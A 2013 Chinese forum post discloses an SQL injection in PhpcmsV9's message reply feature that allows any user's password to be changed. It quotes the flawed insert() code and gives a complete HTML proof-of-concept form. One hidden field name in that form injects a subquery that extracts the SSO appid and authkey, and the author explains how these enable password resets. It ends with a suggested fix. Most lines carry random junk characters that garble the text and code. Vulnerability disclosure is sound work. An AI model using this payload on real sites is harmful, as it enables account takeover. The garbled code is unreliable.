找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2598|回复: 0
打印 上一主题 下一主题

PhpcmsV9 SQL注射修改任意用户密码漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:33:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
简要描述:
/ W& J7 x8 c- U8 H* J4 b+ G
5 u" K4 e, Y$ V. a% U" D第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。0 [- d% |7 w6 Z0 i( B
% L( N( ]( T& p- \! A& Z
明天再更新下一个漏洞。
, \$ _7 j# Y( p' v; S详细说明:- V3 d2 c0 G$ ]8 _8 H+ V
在/phpcms9/phpcms/modules/message/index.php中有代码如下:
3 j! f7 Z7 a# n1 b! S4 D% L- o2 F6 {2 u# S# S+ ~
$messageid = $this->message_db->insert($_POST['info'],true);
  @, t. u0 t2 u; b. U7 b% l# A
' |2 r6 z! }* k9 d5 A; ]% W* f1 K: q: f
insert方法是key value的,代码如下:
( z% i' h3 |  K9 ~+ r* w( C# Y( ]; I8 z8 A0 A- ^4 v# S
public function insert($data, $table, $return_insert_id = false, $replace = false) {
8 Z+ E8 ~3 X' s5 m4 y                if(!is_array( $data ) || $table == '' || count($data) == 0) {
2 H( u5 y- y5 S  P                        return false;
) V. P  i3 E8 p+ J  n                }
+ H: E, E5 w0 j) H5 N+ n               
$ i5 ]) P6 ~* M* `: w/ r                $fielddata = array_keys($data);: X9 @9 ~+ y) q! Q* X
                $valuedata = array_values($data);
, K: G  u' \8 u- ?: f# @3 M! J( r4 X                array_walk($fielddata, array($this, 'add_special_char'));4 O9 p  n5 _' J6 j; h! [, p! o- ^
                array_walk($valuedata, array($this, 'escape_string'));
; v4 ~4 a' L7 o; ?3 @! X1 ^0 E                + K& |- Y6 e9 g% e7 w! Q1 ~( I0 [
                $field = implode (',', $fielddata);* ^' [8 B% l/ G% m" Z1 l
                $value = implode (',', $valuedata);* }: B1 r- }9 u0 |# F' W$ X
4 n* E, S" Q! C  }% I9 R
                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';/ m7 @$ R8 i& A2 `) e! [9 ~- g! T
                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';
  M. n* C7 d- U; B                $return = $this->execute($sql);
+ k. [3 D; {. N  a+ ?0 Q' y2 ]1 j                return $return_insert_id ? $this->insert_id() : $return;  N; t+ Z+ P; h5 [$ A
        }
4 A. q. ]2 A! D3 D4 j9 b
1 h1 P& Q  y* p& \' }
  K, Y: I' w, F7 y5 H1 o嗯,很遗憾的是
- w  l$ o- g& a- ?
0 j7 S  z- k, @! \( M! ]* k! v: j( warray_walk($fielddata, array($this, 'add_special_char'));6 S2 x3 _# |4 \2 p/ Z; L% o: }
( D- ]; I, t! P$ e1 i, |
# W) X: C: F* a
中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。4 U6 Z8 y+ h/ T5 `& R" C. B7 S# u- H

# t7 q- H& O% {8 }* z到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。
; \) p8 h/ j* a6 j3 f& m5 Y- u
; ~) G8 _% t0 y- z2 t漏洞证明:
, L. d: j' s5 C4 e1 ^$ Q' T读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。
( ^2 w3 c8 D& O) C  S
& v& A! O! {8 L! t$ ^* i# I$ J4 G. c3 [: F6 Y" m7 z* |8 B
表单如下:用户名什么的得自己改一改。0 G+ b" g1 T( O9 n6 o
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">0 g3 A5 P  y7 P; ^; M* N6 L% `
<table width="100%" cellspacing="0" class="table_form">, a& E$ D( v. T( j+ y
<tr>
  `9 O/ Z1 c8 Q<th>标 题:</th>
7 W, w% K+ q. d' V; {<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh"  class="input-text"/></td>+ {! U  f. ^6 u# b9 L6 m8 s
</tr>
( a5 {1 a( I! t3 i<tr>
& g6 V5 w( Q( _, T* ?5 H<th>内 容:</th>
; ?8 h+ S# Q& u* J5 P% R<td><textarea name="info[content]"  id="con" rows="5" cols="50"></textarea></td>$ `/ r  I3 R; w; T1 K6 j, v- i
</tr>, O+ a& ~5 X9 u1 `2 E" r
<input type="hidden" name="info[replyid]" value="2" /> + l; ~+ ?* a) U  r6 B9 K
<input type="hidden" name="info[send_to_id]" value="cc" /> 6 J# j$ G; C/ x& p
<input type="hidden" name="info[send_from_id]" value="hh">) y" M- D+ w, A, ^! e3 Q
<!-- 漏洞的利用重点在这里开始 -->
5 L) w- `$ _6 \1 s; \! A& j& h<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" /> 5 `. \( ]3 E$ k& _. S& @( u" }4 ^
<!-- 漏洞的利用重点在这里结束 -->
) ^. v( I, b0 a8 ~<tr>3 E& ]" H% y% ]  I$ R1 Z0 B
<th>验证码:</th>" X8 U% d0 r' u
<td><input name="code" type="text" id="code" size="10"  class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>3 a  o0 I9 \7 Z; P- _
</tr>4 q7 K4 g9 k5 I3 r" k: m
<tr>
+ O$ m! Z# b* f* ?. B  T* R<td></td>5 m  G0 h. _4 [3 p% h6 d
<td colspan="2"><label>
% o0 U6 c* o* {, d; k" _<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>6 J, O3 {: l% ~: {* W
</label></td>
+ l) l, F# R0 r+ P</tr>
% Y# ]& J7 U  H: B! X9 ?( @</table>6 `) z( e# }7 z& R" n
</form>
  V6 m. g/ |8 k0 S' n0 z. K( B在add_special_char函数内对key做过滤就可以了。' T1 F" r- p  \
' V9 [4 v9 [; v3 J+ G9 Y
' a/ Q0 G- s* h% m9 ~

9 g  ]+ j" |* N6 h  f- B7 h7 O

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表